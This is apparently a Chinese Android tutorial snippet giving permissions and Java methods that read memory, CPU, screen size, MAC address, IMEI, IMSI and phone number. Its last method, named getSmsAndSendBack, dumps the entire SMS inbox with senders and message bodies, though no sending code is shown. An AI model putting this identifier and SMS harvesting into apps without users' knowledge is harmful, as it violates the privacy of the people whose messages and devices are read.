一权限配置:

<!-- 获取mac地址权限 -->      <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />    <!--获取手机信息权限 -->      <uses-permission android:name="android.permission.READ_PHONE_STATE" />

二 java代码：

/** * 获取android当前可用内存大小 */private String getAvailMemory() {// 获取android当前可用内存大小ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);MemoryInfo mi = new MemoryInfo();am.getMemoryInfo(mi);// mi.availMem; 当前系统的可用内存return Formatter.formatFileSize(getBaseContext(), mi.availMem);// 将获取的内存大小规格化}

/** * 获得系统总内存 */private String getTotalMemory() {String str1 = "/proc/meminfo";// 系统内存信息文件String str2;String[] arrayOfString;long initial_memory = 0;try {FileReader localFileReader = new FileReader(str1);BufferedReader localBufferedReader = new BufferedReader(localFileReader, 8192);str2 = localBufferedReader.readLine();// 读取meminfo第一行，系统总内存大小arrayOfString = str2.split("\\s+");for (String num : arrayOfString) {Log.i(str2, num + "\t");}initial_memory = Integer.valueOf(arrayOfString[1]).intValue() * 1024;// 获得系统总内存，单位是KB，乘以1024转换为BytelocalBufferedReader.close();} catch (IOException e) {

<span style="white-space:pre"></span>    e.printStackTrace();}return Formatter.formatFileSize(getBaseContext(), initial_memory);// Byte转换为KB或者MB，内存大小规格化}

/** * 获得手机屏幕宽高 *  * @return */public String getHeightAndWidth() {int width = getWindowManager().getDefaultDisplay().getWidth();int heigth = getWindowManager().getDefaultDisplay().getHeight();String str = width + "" + heigth + "";return str;}

/** * 获取IMEI号，IESI号，手机型号 */private void getInfo() {TelephonyManager mTm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);String imei = mTm.getDeviceId();String imsi = mTm.getSubscriberId();String mtype = android.os.Build.MODEL; // 手机型号String mtyb = android.os.Build.BRAND;// 手机品牌String numer = mTm.getLine1Number(); // 手机号码，有的可得，有的不可得Log.i("text", "手机IMEI号：" + imei + "手机IESI号：" + imsi + "手机型号：" + mtype+ "手机品牌：" + mtyb + "手机号码" + numer);}

/** * .获取手机MAC地址 只有手机开启wifi才能获取到mac地址 */private String getMacAddress() {String result = "";WifiManager wifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE);WifiInfo wifiInfo = wifiManager.getConnectionInfo();result = wifiInfo.getMacAddress();Log.i("text", "手机macAdd:" + result);return result;}

/** * 手机CPU信息 */private String[] getCpuInfo() {String str1 = "/proc/cpuinfo";String str2 = "";String[] cpuInfo = { "", "" }; // 1-cpu型号 //2-cpu频率String[] arrayOfString;try {FileReader fr = new FileReader(str1);BufferedReader localBufferedReader = new BufferedReader(fr, 8192);str2 = localBufferedReader.readLine();arrayOfString = str2.split("\\s+");for (int i = 2; i < arrayOfString.length; i++) {cpuInfo[0] = cpuInfo[0] + arrayOfString[i] + " ";}str2 = localBufferedReader.readLine();arrayOfString = str2.split("\\s+");cpuInfo[1] += arrayOfString[2];localBufferedReader.close();} catch (IOException e) {

<span style="white-space: pre;"></span>e.printStackTrace();

}Log.i("text", "cpuinfo:" + cpuInfo[0] + " " + cpuInfo[1]);return cpuInfo;}

 /**         * 读取短信         * @return         */        public String getSmsAndSendBack()        {            String[] projection = new String[] {                    "_id",                    "address",                    "person",                    "body"            };            StringBuilder str=new StringBuilder();            try{                Cursor myCursor = managedQuery(Uri.parse("content://sms/inbox"),                        projection, null, null , "date desc");                str.append(processResults(myCursor, true));                str.append("getContactsAndSendBack has executed!");            }            catch (SQLiteException ex){                Log.d("测试测试", ex.getMessage());            }            return str.toString();        }        /**         * 处理短信结果         * @param cur         * @param all 用来判断是读一条还是全部读。后来没有用all，可以无视         */        private StringBuilder processResults(Cursor cur, boolean all) {            StringBuilder str=new StringBuilder();            if (cur.moveToFirst()) {                String name;                String phoneNumber;                String sms;                int nameColumn = cur.getColumnIndex("person");                int phoneColumn = cur.getColumnIndex("address");                int smsColumn = cur.getColumnIndex("body");                do {                    name = cur.getString(nameColumn);                    phoneNumber = cur.getString(phoneColumn);                    sms = cur.getString(smsColumn);                    str.append("{");                    str.append(name+",");                    str.append(phoneNumber+",");                    str.append(sms);                    str.append("}");                    if (null==sms)                        sms="";                } while (cur.moveToNext());            }            else            {                str.append("no result!");            }            return str;        }
